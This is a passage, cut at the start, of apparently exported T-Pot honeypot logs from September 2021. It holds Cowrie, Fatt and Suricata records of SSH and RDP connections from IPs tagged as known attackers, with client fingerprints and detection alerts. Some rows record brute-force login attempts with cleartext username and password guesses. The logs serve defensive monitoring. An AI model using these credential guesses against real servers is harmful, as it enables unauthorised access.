b'SSH-2.0-libssh_0.9.6'", "session": "ffc4bec824e2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:18:14.680084Z", "@timestamp": "2021-09-20T11:18:14.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28527	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:18:14.711836+03	2021-09-20 14:30:02.949523+03	{"_id": "JwbtAnwBvYTbRNuEjy_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41316, "dest_port": 22, "timestamp": "2021-09-20T11:18:14.711836", "@timestamp": "2021-09-20T11:18:14.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28528	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:18:14.930557+03	2021-09-20 14:30:02.950523+03	{"_id": "KAbtAnwBvYTbRNuEkC_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [jack/jack1234] failed", "session": "ffc4bec824e2", "@version": "1", "password": "jack1234", "username": "jack", "timestamp": "2021-09-20T11:18:14.930557Z", "@timestamp": "2021-09-20T11:18:14.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28529	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:18:15.965123+03	2021-09-20 14:30:02.951524+03	{"_id": "KQbtAnwBvYTbRNuElC-w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ffc4bec824e2", "@version": "1", "duration": 1.2853057384490967, "timestamp": "2021-09-20T11:18:15.965123Z", "@timestamp": "2021-09-20T11:18:15.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28530	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:18:14.677366+03	2021-09-20 14:30:02.953523+03	{"_id": "GwbtAnwBvYTbRNuEjC_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:41316 (192.168.176.2:22) [session: ffc4bec824e2]", "session": "ffc4bec824e2", "@version": "1", "protocol": "ssh", "src_port": 41316, "dest_port": 22, "timestamp": "2021-09-20T11:18:14.677366Z", "@timestamp": "2021-09-20T11:18:14.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28531	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:18:24.884945+03	2021-09-20 14:30:02.954523+03	{"_id": "SAbtAnwBvYTbRNuEsy_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/qweqwe123] failed", "session": "086122a2e71c", "@version": "1", "password": "qweqwe123", "username": "root", "timestamp": "2021-09-20T11:18:24.884945Z", "@timestamp": "2021-09-20T11:18:24.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28532	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:18:40.420967+03	2021-09-20 14:30:02.955524+03	{"_id": "YAbtAnwBvYTbRNuE8S-X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 54494, "dest_port": 3389, "timestamp": "2021-09-20T11:18:40.420967", "@timestamp": "2021-09-20T11:18:40.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28533	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:18:40.902175+03	2021-09-20 14:30:02.956524+03	{"_id": "ZgbtAnwBvYTbRNuE9C87", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1979784201521263, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54494, "dest_port": 3389, "timestamp": "2021-09-20T11:18:40.902175Z", "@timestamp": "2021-09-20T11:18:40.902Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28534	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:18:40.581586+03	2021-09-20 14:30:02.958523+03	{"_id": "awbtAnwBvYTbRNuE9C-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1979784201521263, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 54494, "timestamp": "2021-09-20T11:18:40.581586Z", "@timestamp": "2021-09-20T11:18:40.581Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28535	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:18:43.119921+03	2021-09-20 14:30:02.959523+03	{"_id": "bAbtAnwBvYTbRNuE_C8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "flow_id": 1908685313052535, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60954, "dest_port": 22, "timestamp": "2021-09-20T11:18:43.119921Z", "@timestamp": "2021-09-20T11:18:43.119Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28536	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:43.006726+03	2021-09-20 14:30:02.960524+03	{"_id": "bQbtAnwBvYTbRNuE_S9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "132.148.165.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60954, "timestamp": "2021-09-20T11:18:43.006726", "@timestamp": "2021-09-20T11:18:43.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28537	132.148.165.94	109.199.241.180	Fatt	2021-09-20 14:18:43.122055+03	2021-09-20 14:30:02.961524+03	{"_id": "bgbtAnwBvYTbRNuE_S9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60954, "dest_port": 22, "timestamp": "2021-09-20T11:18:43.122055", "@timestamp": "2021-09-20T11:18:43.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28538	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:18:43.122264+03	2021-09-20 14:30:02.962523+03	{"_id": "dQbtAnwBvYTbRNuE_i82", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "30c683008b13", "@version": "1", "timestamp": "2021-09-20T11:18:43.122264Z", "@timestamp": "2021-09-20T11:18:43.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28539	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:18:43.004655+03	2021-09-20 14:30:02.964523+03	{"_id": "cAbtAnwBvYTbRNuE_i82", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 132.148.165.94:60954 (192.168.176.2:22) [session: 30c683008b13]", "session": "30c683008b13", "@version": "1", "protocol": "ssh", "src_port": 60954, "dest_port": 22, "timestamp": "2021-09-20T11:18:43.004655Z", "@timestamp": "2021-09-20T11:18:43.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28540	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:23.905664+03	2021-09-20 14:30:02.965524+03	{"_id": "RwbtAnwBvYTbRNuEsy8R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43488, "timestamp": "2021-09-20T11:18:23.905664", "@timestamp": "2021-09-20T11:18:23.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28541	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:24.661905+03	2021-09-20 14:30:02.967524+03	{"_id": "SQbtAnwBvYTbRNuEsy_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:24670 (192.168.176.2:22) [session: abe7c4e2d90b]", "session": "abe7c4e2d90b", "@version": "1", "protocol": "ssh", "src_port": 24670, "dest_port": 22, "timestamp": "2021-09-20T11:18:24.661905Z", "@timestamp": "2021-09-20T11:18:24.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28542	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:24.664691+03	2021-09-20 14:30:02.968524+03	{"_id": "TwbtAnwBvYTbRNuEsy_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "abe7c4e2d90b", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:18:24.664691Z", "@timestamp": "2021-09-20T11:18:24.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
